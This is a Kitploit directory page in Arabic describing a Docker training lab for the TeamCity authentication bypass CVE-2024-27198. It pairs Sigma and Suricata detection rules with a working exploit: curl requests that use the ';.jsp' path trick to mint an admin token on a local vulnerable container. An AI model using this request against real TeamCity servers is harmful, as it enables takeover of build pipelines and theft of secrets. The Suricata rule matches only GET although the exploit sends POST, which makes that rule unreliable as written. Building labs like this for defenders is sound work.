Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2024-27198_LAB — مختبر قائم على Docker لـ CVE-2024-27198 تجاوز المصادقة في TeamCity. يتضمن إعادة إنتاج الثغرة، وصيد مؤشرات الاختراق باستخدام قواعد Sigma/Suricata، وتمارين كشف للفريق الأزرق للتدريب الأمني. | Kitploit
أدوات/GitHubGitHub/ne0zer01/cve-2024-27198_lab
المصادقة والترخيصتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقاستخبارات التهديداتكشف التسللالتعلم والتعليمالاستجابة للحوادثتحليل السجلاتمختبرات وتدريب عملي
منذ 3 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
GitHub
ne0zer01/cve-2024-27198_lab

CVE-2024-27198_LAB

مختبر قائم على Docker لـ CVE-2024-27198 تجاوز المصادقة في TeamCity. يتضمن إعادة إنتاج الثغرة، وصيد مؤشرات الاختراق باستخدام قواعد Sigma/Suricata، وتمارين كشف للفريق الأزرق للتدريب الأمني.

عرض المستودع

مختبر CVE-2024-27198

الوصف

يوفر TeamCity صفحة خاصة بالمسؤول لإدارة الرموز المميزة (tokens) غير محمية بواسطة المصادقة. هذا يسمح لمستخدم غير مصادق بتوليد رمز مميز لمستخدم المسؤول إذا تمكن من العثور على معرف (ID) مستخدم موجود.


تفاصيل CVE

  • CVE ID: CVE-2024-27198
  • CWE: CWE-288
  • CNA: JetBrains s.r.o.
  • النتيجة الأساسية: 9.8 حرج
  • المتجه:
    • CVSS:3.1
    • AV:N الشبكة
    • AC:L منخفض
    • PR:N لا شيء
    • UI:N لا شيء
    • S:U غير متغير
    • C:H عالٍ
    • I:H عالٍ
    • A:H عالٍ

استخبارات التهديدات وجمع المعلومات مفتوحة المصدر (OSINT)

التأثير الحقيقي والاستغلال

  • كتالوج CISA KEV: تمت الإضافة في 7 مارس 2024، مؤكداً الاستغلال النشط في البيئة البرية.
  • جهات التهديد: تم استغلالها من قبل مجموعات برامج الفدية المتعددة وAPTs، خاصة مجموعة BianLian للفدية ومتغير Jasmin للفدية. استخدم المهاجمون هذا التجاوز لإنشاء حسابات مسؤول وهمية، نشر إضافات خبيثة، وتنفيذ أكواد عشوائية (RCE) للتحرك جانبياً داخل شبكات الضحايا.
  • الملف المستهدف: أنابيب CI/CD هي أهداف عالية القيمة (هجمات سلسلة التوريد). اختراق TeamCity يسمح للمهاجمين بحقن كود خبيث في بناءات البرمجيات، سرقة الكود المصدري، واستخراج أسرار النشر (مفاتيح AWS، الشهادات).

لماذا يعتبر هذا CVE حرجًا؟

تقع الثغرة في آلية توجيه REST API. من خلال إضافة أحرف محددة (مثل ?jsp=/app/rest/...;.jsp) إلى نقطة نهاية غير مصادقة، يمكن للمهاجمين خداع خادم الويب TeamCity لتوجيه الطلب إلى نقطة نهاية مصادقة مع تجاوز مرشحات الأمان. هذا لا يتطلب أي معرفة أو وصول مسبق، مما يجعله نقاءً 9.8 CVSS.


خطوات إعادة الإنتاج

تشغيل الحاويات

root@kitploit:~
cd CVE-2024-27198
root@kitploit:~
docker compose -f docker-compose.yml up -d

الوصول إلى مثيل TeamCity الضعيف على http://localhost:8111. الوصول إلى مثيل TeamCity المصحح على http://localhost:8112.


بوابة تسجيل الدخول

اسم المستخدم:

root@kitploit:~
admin

كلمة المرور:

root@kitploit:~
admin

اختبار الثغرة

طلب GET لمورد دون مصادقة:

root@kitploit:~
curl -i http://localhost:8111/app/rest/users
root@kitploit:~
curl -i http://localhost:8112/app/rest/users

يجب أن يعود كلاهما بخطأ مع رمز الحالة 401.


إنشاء رمز مميز لمستخدم المسؤول

root@kitploit:~
curl -X POST -H "Content-Type: application/json" \
  "http://localhost:8111/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
  -d '{"name":"REDTEAM"}'

يجب أن يعيد رمزًا مميزًا مثل هذا (الرمز مختلف في كل مرة):

root@kitploit:~
eyJ0eXAiOiAiVENWMiJ9.T1AzMHJjY3piNC1QWDlFenpnLXdCUkRuSF84.ZmJlODg3ZDQtNjFmYy00ZGQxLTk2MDAtYmJlYjViZjE4NGFi
root@kitploit:~
curl -X POST -H "Content-Type: application/json" \
  "http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
  -d '{"name":"REDTEAM"}'

يجب أن يعيد خطأ مع رمز الحالة 401 لأن المثيل المصحح لا يحتوي على الثغرة.


التحقق من الرمز

root@kitploit:~
curl -i -H "Authorization: Bearer <TOKEN>" \
  http://localhost:8111/app/rest/users

يجب أن يعيد قائمة المستخدمين.


حذف الرمز

  1. اذهب إلى http://localhost:8111 باستخدام حساب المسؤول.
  2. انقر على أيقونة الملف الشخصي في الأعلى على اليمين.
  3. اذهب إلى الملف الشخصي -> الرموز المميزة (Access Tokens).
  4. سترى الرمز "REDTEAM".
  5. ببساطة انقر على حذف بجانب الرمز.

الفريق الأزرق: صيد مؤشرات الاختراق في السجلات (عامل التخفي)

أثناء العرض التوضيحي على المختبر، يمكنك إظهار اكتشاف كبير للفريق الأزرق: بشكل افتراضي، هذه الثغرة خفية بشكل لا يصدق!

  1. سجلات الوصول لـ Tomcat معطلة افتراضياً في صورة Docker لـ TeamCity، لذلك طلبات HTTP التي تحتوي على ;.jsp غير مسجلة.
  2. سجل التدقيق لـ TeamCity لا يسجل إنشاء الرمز عبر REST API.

إذن كيف نمسك به؟ عندما ينظف المهاجم آثاره! عندما يحذف المهاجم رمزه الوهمي ليخفيها، يقوم TeamCity بتسجيل ذلك.

ابحث عن المهاجم وهو يغطي آثاره في سجلات التدقيق:

root@kitploit:~
docker exec teamcity-vulnerable grep "delete_token" /opt/teamcity/logs/teamcity-activities.log

(سترى إدخال سجل يشير إلى حذف الرمز "REDTEAM").


إيقاف الحاويات

root@kitploit:~
docker compose -f docker-compose.yml down

التخفيف والكشف

التحليل الفني (CWE-288)

هذه الثغرة هي حالة من CWE-288: تجاوز المصادقة باستخدام مسار أو قناة بديلة. الخطأ ينبع من مشكلة ارتباك في المسار بين خادم الويب Tomcat وموجه تطبيقات TeamCity. من خلال إلحاق ;.jsp وتمرير نقطة نهاية REST API المستهدفة في المعامل jsp=، يفسر مرشح الأمان الأولي الطلب كطلب غير مصادق إلى ملف عام .jsp (وهو مسموح). لكن الموجه الداخلي يزيل ;.jsp ويعيد توجيه الطلب إلى نقطة النهاية المقيدة /app/rest/ دون تطبيق مرشح المصادقة.

حالة الاستخدام المشروعة (لماذا يُسمح بـ ;؟): يستخدم Tomcat الفاصلة المنقوطة (;) لـ معاملات المصفوفة. تاريخياً، تُستخدم هذه الآلية لتمرير معاملات مباشرة داخل المسار، مثل إلحاق JSESSIONID للحفاظ على حالة جلسة المستخدم عند تعطيل ملفات تعريف الارتباط. هذا السلوك الطبيعي المشروع لخادم الويب، إلى جانب التحقق غير الصحيح من موجه تطبيقات TeamCity، هو ما يخلق الثغرة.

مؤشرات الاختراق (IoCs)

للكشف عن اختراق جارٍ أو سابق، يجب على الفرق الزرقاء البحث عن:

  1. سجلات الويب: طلبات HTTP تستهدف نقاط نهاية /app/rest/ ولكنها تحتوي على السلسلة الشاذة ;.jsp في URI.
  2. سجلات التدقيق (teamcity-server.log): توليد غير مفسر لرموز مميزة أو إنشاء حسابات إدارية جديدة.
  3. مستوى النظام: تثبيت إضافات غير معروفة أو مشبوهة (غالباً ما يستخدمها المهاجمون لتصعيد الامتيازات وتحقيق تنفيذ الأكواد عن بعد - RCE).

كشف السجلات (قاعدة Sigma)

لأن الاستغلال الأولي خفي بشكل افتراضي، يجب على الفرق الزرقاء الاعتماد على اكتشاف إجراءات المهاجم بعد الاستغلال، مثل تنظيف آثاره. إليك قاعدة Sigma لنظام SIEM الخاص بك لاكتشاف عمليات حذف الرمز المشبوهة:

root@kitploit:~
title: JetBrains TeamCity Suspicious Token Deletion (Post-Exploit CVE-2024-27198)
id: 9a2b53f6-1234-4567-890a-abcdef123456
status: experimental
description: Detects an attacker covering their tracks after exploiting CVE-2024-27198 by deleting their rogue token.
author: Purple Team
date: 2026-05-18
logsource:
    category: application
    product: teamcity
detection:
    selection:
        message|contains: 'delete_token_for_user'
    condition: selection
level: medium

عرض توضيحي مباشر لـ SIEM (الفريق الأزرق)

لإثبات أن هذا الكشف يعمل، قم بتشغيل النص البرمجي siem_simulator.py.

  1. افتح طرفية ثانية بجانب طرفية الاستغلال الخاصة بك.
  2. تأكد من تشغيل الحاوية الضعيفة (docker compose up -d).
  3. شغل المحاكي:
root@kitploit:~
python3 siem_simulator.py
  1. في الطرفية الأولى، قم بتشغيل الاستغلال، تحقق من الرمز، ثم احذف الرمز عبر الواجهة الويب.
  2. شاهد الطرفية الثانية تضيء بتنبية حرج أحمر يظهر أن قاعدة Sigma تمسك بالمهاجم وهو يغطي آثاره!

المعالجة

  • التصحيح الرسمي: قم بترقية TeamCity إلى الإصدار 2023.11.4 أو أعلى، الذي يقوم بتنظيف وإنفاذ مطابقة المسار بشكل صحيح على الخادم الخلفي.
  • الحل البديل: إذا كان التصحيح مستحيلاً، أصدرت JetBrains إضافة تصحيح أمني يمكن تثبيتها على المثيلات الضعيفة.

كشف الشبكة (قاعدة Suricata / Snort)

للكشف عن محاولة الاستغلال هذه على الشبكة، يمكن لمركز العمليات الأمنية (SOC) تنفيذ قاعدة IDS التالية، التي تبحث عن النمط الشاذ ;.jsp المقترن بمسارات REST API:

root@kitploit:~
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"EXPLOIT JetBrains TeamCity Auth Bypass Attempt (CVE-2024-27198)"; flow:established,to_server; content:"GET"; http_method; content:"?jsp=/app/rest/"; http_uri; content:";.jsp"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

اختبار النسخة المصححة (عرض توضيحي للمختبر)

لإثبات أن التخفيف يعمل، يمكنك إطلاق نفس الحمولة الاستغلالية ضد حاوية TeamCity المصححة التي تعمل على المنفذ 8112:

root@kitploit:~
curl -i -X POST -H "Content-Type: application/json" \
  "http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
  -d '{"name":"REDTEAM"}'

لأن التصحيح يفرض مطابقة المسار بشكل صارم وينظف معاملات المصفوفة بشكل صحيح، فسوف يفشل التجاوز. يجب أن ترى إجابة 401 غير مصرح أو 404 غير موجود بدلاً من رمز مميز مولّد.


روابط

  • CVE-2024-27198
تنزيل الأداة